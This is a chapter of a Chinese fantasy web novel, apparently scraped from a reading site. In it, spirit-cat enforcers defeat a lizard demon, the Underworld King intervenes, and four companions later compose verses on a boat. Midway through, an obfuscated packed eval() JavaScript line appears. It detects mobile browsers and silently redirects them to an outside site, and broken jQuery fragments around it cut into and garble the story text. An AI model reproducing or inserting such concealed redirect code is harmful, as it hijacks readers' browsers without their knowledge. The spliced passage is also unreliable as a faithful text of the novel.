60. 天赐

作品:《萧萧几叶风兼雨

    砰——


    大门被人一脚踹开,先映入眼帘的是四只狸猫从门外跃进,稳稳落到平台四周将蜥蜴包围。


    “杜康!私下挑拨各族群矛盾引发内乱,如今更是利用残魂做此邪恶之事,还不速速伏法!”其中一只狸猫晃了晃手,烛光在爪尖散开。


    “呵,法?依何法?何人所制之法?”蜥蜴抬起头双手后背,狸猫爪尖刺眼的光亮落到他眼底后瞬间被吞没。


    “少废话!”四只狸花也不再多说,一同扑向蜥蜴与他缠斗在一起。


    江洂捂着胸口闷咳几声听到脚步声再次抬起头,江沅与菊子大步跨进门向他们奔来。


    “师兄!”江沅立刻把一枚丹药递到江洂面前,扶着他慢慢坐下调息。


    江沅瞟了一眼台面上打斗的几人仍旧有来有回,一时半刻还分不出胜负,又扫了一圈屋内,菊子已经扶着宋鹤坐到墙边,“苏镜醨……”


    一旁翻落的铁笼下被压着的人抓住了她的目光,她悄悄绕到台后拽开铁笼发现苏镜醨早已晕了过去。


    “苏镜醨,快醒醒……”江沅捏住苏镜醨的手腕感受到脉象虽然有些乱,但尚在可控范围之内,立刻轻轻扒开他的嘴把丹药塞进他口中。


    江沅又摇晃了几下,苏镜醨才迷迷糊糊睁开眼。他看到是江沅后想要起来,但后背如同撕裂般的疼痛让他不得不闷哼一声。


    不等他们缓过来,台面上的蜥蜴逐渐不敌。他攥紧拳头却感受到身体内的力量迅速流失,立刻伸手想要再次吸取食尸鬼体内的力量。


    江洂抬眼操控剑打向蜥蜴的手,蜥蜴的心思被打破,回头飞扑想要再次攻击江洂。


    四只狸猫反应迅速,爪子勾住蜥蜴尾巴的皮肉往后一拽,重重砸向墙面。


    啊——


    蜥蜴惨叫一声回头看向身后,自己那引以为傲的长尾早已与身体隔开数尺外。他呜咽两声回头瞥了一眼几人后拖着血印爬出门外,消失在灯火微弱处。


    两只狸猫追去,剩下两只朝几人行了个礼,“上次还要多谢几位出手,如今再见,依旧是几位早早发现这恶妖。”其中一只说罢,又再次抱拳感谢。


    “不用……”苏镜醨话为说出口,两只狸猫打开铁笼带那些还活着的妖离去。


    “阿浔……”江洂感觉好了一些,慢慢站直身子回头恰好对上江沅的目光。


    “我把东西还给她了,但她说不想有亏欠。”江沅悄悄握了握拳,手心一缕轻风吹过。


    “哈哈呵呵呜呜——”


    “什么怪声?”菊子拿着手帕帮宋鹤擦了擦额头的血迹,行收手就被一阵怪声烦扰。


    几人抬头望向那食尸鬼,菊子见宋鹤目光盯着一处,也随之看去。食尸鬼摇晃着身子,骨骼摩擦发出咯吱咯吱的声响,嘴巴里的声音越发叫人心慌。


    “残魂之力!”江洂握紧剑柄,看着食尸鬼身体被黑气包裹着,自己也开始有些发颤。


    “怎么会……”苏镜醨睁大眼睛盯着食尸鬼脚下燃起火焰,一步一步向他走来。


    “阻止他!”宋鹤一手拿起刀,用力往前一扔后刀斜插到苏镜醨前方,挡住了食尸鬼的去路。


    “力量,我要力量……”食尸鬼歪头盯着苏镜醨,他的声音就像不会弹琴的人胡乱拨弄琴弦,听得人心头焦躁。


    “苏翎!”江洂操控剑飞起刺向食尸鬼,可在剑光旋转中,食尸鬼仍然向前一步,伸出手将黑气打向苏镜醨。


    剑被弹飞,江洂的身体也再次遭受重创,剧烈咳呕几声后一股腥甜在舌尖散开。


    江沅想要将他拉开却为时已晚,两人此时只得紧紧闭上眼体会感官在冲击下迅速丧失。


    等待许久,周围一片宁静,只能听到彼此的心跳。两人咬着牙缓缓睁开眼,食尸鬼的手指离苏镜醨的眼睛仅有一纱之隔。在他放大的瞳孔中,这只魔爪也无限放大。


    食尸鬼被定在原地,吱吱呀呀的声音从各个缝隙中弥漫开来。大门被风吹开,无数乌雀一拥而入,如同巨蟒缠绕着食尸鬼。


    乌雀盘旋,黑气迅速消散的同时,眼前的乌鸦与食尸鬼一同消失在视线中,只留下收敛黑气的残魂碎片。


    “难道是他?”苏镜醨的瞳孔骤然缩紧,迅速扭头看着江洂。


    “冥王驾临,此事恐怕不简单。”江洂立刻坐下,对着自身几个穴位迅速点过又赶紧调整状态准备迎接更大的危险。


    “怎么会是他?”宋鹤见危机暂时解除,压在心头的巨石终于松了一半。


    “其实沅沅把精魂还给姐姐之后,她说等除掉食尸鬼取得残魂就把它还给你们。”菊子扶着宋鹤靠在墙上,自己却神色凝重地低下头。


    “拾城主说这东西与你有关,所以交给你最合适不过。”江沅垂眸点点头。


    “先出去看看吧。”江洂颤巍巍起身,从一旁捡起剑握在手心又走来搀扶受伤的苏镜醨。


    门外,天际燃起熊熊烈火,烧得没有一片完整的云彩。街道上的灯光早已熄灭,只是随着天空呈现显眼的暗红色。


    冥王如同初见时那般,坐在悬浮于半空的花辇上俯视着几人。


    “幽冥掌管生死往生,但绝不会参与世间纷扰争端,不过你们倒是让我不得不好奇这本就存在于虚妄的人世该如何自救。”冥王一手撑着头,侧躺下闭上眼。


    “你与我们不同,你眼中的虚妄是我们求之不得的美好。”江沅想起曾经种种,看着这美人却实在生不出欢喜,眉头悄悄锁紧。


    “我并不会阻止你们做些什么,不过在你完成你该完成的事之后,你会跟我回去的。”冥王眼尾落下,唇角扬起。


    “此话何意?”江洂挡到江沅身前,横起手中的剑。


    “莫非冥王想要利用自己的力量做些不该做的?”苏镜醨转身挡到两人面前抬手点燃符纸夹在指尖举起。


    “莫要卖关子!”宋鹤则是将菊子拉到身后,向前几步拦在四人身前提起刀。


    “什么该做什么不该做?”冥王笑出声来坐直身子,“苏翎,你很有意思,不过天下英雄亦如过江之鲫。”他的脸上明明有笑,但却又似乎没有任何神情露出,“你想要救这天下,若是往后如此,这声英雄你还当不得。”


    几人听着他的话微微抬起头,手心却逐渐烫得让人心悸。


    “这食尸鬼并未害过人,既是我幽冥之人,也理应由我幽冥处置,至于你们……我倒是有样东西,就当是为了此事吧。”冥王说着,伸手摊开手掌,一枚被白气包裹的残魂飘向几人。


    几人低垂着眼皮,没有高兴也没有愤怒,什么都没有。苏镜醨伸手接住后再抬头时,周围又一次陷入死寂,街道一如往常,天空中繁星点点。


    拖着满身伤痕回到找好的住处,围坐在桌边吃了几口饭,“怎么感觉像做梦一样,从我们相遇之后的一切,到现在结束了,我还是感觉怪怪的。”苏镜醨摇摇头,朝嘴里灌了一口酒。


    “如果没有遇到这些,估计我们还在果子林里边儿爬树呢。”宋鹤坐下后抬起手里的酒坛碰了苏镜醨的坛子一下。


    “无论如何,现在也算是快要结束了,我都已经想好以后要去干嘛了。”江沅抬手伸了个懒腰,笑嘻嘻走到柜子边收拾东西。


    “那不得大醉一场!”苏镜醨晃晃手里的坛子,喜上眉梢。


    “可幽冥为何会有残魂?而且这残魂碎片与之前见过的好像都不一样。”江沅收拾着东西的手在拿起衣服时停住,脸上的笑容也慢慢被担忧、疑惑吞没。


    “这些疑点恐怕只有经历过那场灾难的人才能够解答。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030351|192135||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    江洂沉默良久,缓缓打开地图,指尖顺着他们走过的路径滑动。


    “江洂说的对,现在只需要尽快把这些东西带回见翁,到时候,你们的师父、掌门还有长老都会告诉我们的。”苏镜醨喝完了酒转身瘫到床上,闭上眼睛感受着这久违的轻松。


    “可我们来找真相,我怎么觉得还是没找到……”宋鹤叹了口气放下喝了一半的酒也转身回到床上躺下。


    “等明日吧,明日一切都会好的。”江沅收拾着东西忍不住打了个哈欠。


    旭日初升,波光潋滟的江面萦绕着淡淡的薄雾,一艘载着四人的小舟在中心飘荡。


    “诶,为什么要走水路?”苏镜醨荡起双桨,拨开银波圈圈又圈圈。


    船头上,宋鹤撑着长杆,江洂拿着罗盘确定行进方向。


    “师兄说如果原路返回要耽误好几日,如果走水路的话最多三日就可以到千锦城了。”江沅摆摆手示意苏镜醨让给他一边桨,拿到手后就开始用力划水。


    渡过两岸群山座座,玉坠满江。“此情此景,我要学那些个文人墨客,吟诗一首。”苏镜醨放下桨站起来,船也晃动两下,三人伸手去扶,他踉跄几步才站稳。


    这一幕逗得宋鹤与江沅笑得前仰后合,连平日里不苟言笑的江洂也露出笑容。


    “不如这样,就以‘一别’与‘再逢’为首作诗,看看谁做得好怎么样?”苏镜醨双手叉腰,朝着茫茫江面大吼一声,“啊——”


    “行啊,平时都看书生作诗,我倒也想试试我这一介武夫能不能作出首像样的诗来。”宋鹤靠着船头半躺下。


    “来来来!”苏镜醨冲宋鹤拍拍手。


    “一别少年竞称英雄,再逢英雄不再少年。”宋鹤抬起手挥过,眉梢眼角藏不住少年的少年心气。


    “我来我来!”江沅举起手,“一别天青云清风静,再逢天晴云轻浪静。”她昂起头望着天空中云彩飘荡,心头思绪瞬间抚平。


    “行啊你们俩,江洂呢?你也来一句。”苏镜醨低头看向坐到一旁的江洂。


    “我不会吟诗。”江洂颔首摇摇头,浅笑一声抬起头,“你来。”


    “我呢……这样吧,我换个问题问你们,看看你们如何作答。”苏镜醨转身找了个地方坐下,“倘若有朝一日,尔等个人爱恨与天下恩怨相悖,当如何?”


    “大爱于前,你我,亦不过于渺渺。”江洂眺望远山云端,心头始终还是压着巨石无法松懈。


    “天将降大任于斯人也,当以此身行大义。”宋鹤昂起头拍拍胸脯。


    “个人爱恨与天下恩仇取于宏微之间,取之任一皆不算违背。”江沅把指尖伸入水中,潺潺流水滑过指缝,永不停歇。


    “那若是个人所取之道与天下之道相违,又当如何?”苏镜醨点点头露出一抹微笑看向江洂。


    “师父自幼教导:为道者,必将为天下而行。故天下之道即是我之所取。”江洂深吸一口气呼出一半又堵在心口。


    “除暴安良便是我所取之道,当归属于天下之道。”宋鹤的脸上洋溢着笑容,头顶雄鹰飞过,目光追随而去片刻又落回苏镜醨身上。


    “我觉得,若天下之道为之个人,个人所取为之天下,那么取个人之道方为然。”江沅望着江底许久,指尖刺骨的冰凉攻上心头,连忙收回手甩了甩。


    “啧啧,一个个都这么文绉绉的……”苏镜醨指着几人咂咂嘴。


    “嘶,那你倒是说说你如何取?”宋鹤挑起眉伸手拍向苏镜醨的手却被他迅速躲开。另外两人也把目光聚到苏镜醨脸上,笑眯眯望着这个一脸得意的少年。


    “我呢……皎皎明月高悬于苍穹之上,吾独立于孤山之巅!”苏镜醨抬起一只手指着天空,说完后再次抬起头时云层散去,阳光明媚。